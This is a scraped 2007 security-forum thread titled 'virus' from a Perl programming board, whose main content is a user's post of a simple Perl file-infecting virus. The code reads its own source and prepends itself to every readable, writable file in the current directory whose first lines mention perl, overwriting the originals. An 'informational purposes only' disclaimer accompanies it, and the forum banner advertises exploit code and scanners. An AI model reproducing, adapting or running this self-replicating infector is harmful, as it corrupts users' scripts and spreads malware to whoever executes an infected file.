virus - HeapOverflow Computer Security Community & Forums : Heap Overflow.com

HeapOverflow Computer Security Community & Forums : Heap Overflow.com

		HeapOverflow Computer Security Community & Forums : Heap Overflow.com > Computer Security: Discussions > Programming
virus

Mark Forums Read

Notices

Welcome to you visitor! This community is mainly dedicated to the computer and security, if you're looking for DFind scanner or others exploits codes you will find them into the Projects section, feel free to start Blogging and remember to always keep an eye and start talking about security Advisories & public Exploits.

Programming Discuss about the various programming languages (HTLM/PHP/ASP/C#/C++/Java etc..)

virus

This is a discussion on "virus" within the Programming part of the Computer Security: Discussions section; A litle something I did with perl Code: #!/usr/bin/perl sub header () { print q { *************************************** Artificial Life * I am not responsible of how you use * this program.The program it is coded * for informational purposes only ! * Simple virus that can ...

Reply

3 links from elsewhere to this Post. Click to view.

#1 (permalink)

Old

28-12-07

fl0 fl0w is offline

Junior Member

Join Date: Dec 2007

Age: 19

Posts: 17

Thanks: 3

Thanked 11 Times in 8 Posts

Rep Power: 5

fl0 fl0w is on a distinguished road

Default

virus

A litle something I did with perl

Code:

#!/usr/bin/perl
 
  sub header ()
{ print q {
***************************************
  Artificial Life                     *
 I am not responsible of how you use  *
this program.The program it is coded  *
for informational purposes only !     *             
  Simple virus that can be tested     *
  in a single directory.I am going to *
  publish a advanced vir but later.*
***************************************
  }
  }

 sub routine()
 { header();
   print q {
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
coded by fl0 fl0w                    &
flo_flow_supremacy[dot]com           &
 Caracteristics -it finds all perl   &
 programs and modifies the execution &
 by attaching itself to the actual   &
 source.                             &
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
  };
exit();
  }
 open(file,$0);
 @virus=<file>;
 close(file);
 
 foreach $filename (<*>)
 { if((-r $filename) && (-w $filename) && (-f $filename) )
 
   { open(file,"$filename");
     @aux=<file>;
     close(file);

  if((@aux[0]=~"perl") or (@aux[1]=~"perl"))
 {
    open(file,">$filename");
    print file @virus;
    print file @aux;
  close(file);
 }
  }

Last edited by fl0 fl0w; 28-12-07 at 13:28.

Reply With Quote

The Following User Says Thank You to fl0 fl0w For This Useful Post:
class101 (28-12-07)

Sponsor

Advertiser

Reply

Tags
virus

« linux shellcode | building matrices »

LinkBacks (?) LinkBack to this Thread: http://heapoverflow.com/f0rums/programming/2710-virus.html
Posted By	For	Type	Date
Virus	This thread	Refback	28-12-07 14:56
Security	This thread	Refback	28-12-07 14:56
Perl	This thread	Refback	28-12-07 14:54

Thread Tools
Show Printable Version Email this Page
Display Modes
Linear Mode Switch to Hybrid Mode Switch to Threaded Mode

Posting Rules
You may not post new threads You may not post replies You may not post attachments You may not edit your posts BB code is On Smilies are On [IMG] code is On HTML code is Off Trackbacks are On Pingbacks are On Refbacks are On

Similar Threads
Thread	Thread Starter	Forum	Replies	Last Post
Evil Shell Backdoor 1.0.5	coder192	Applications, Tools & Papers	20	08-12-06 08:43

heapoverflow.com - SEOmeter SEO tools

Locations of visitors to this page

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72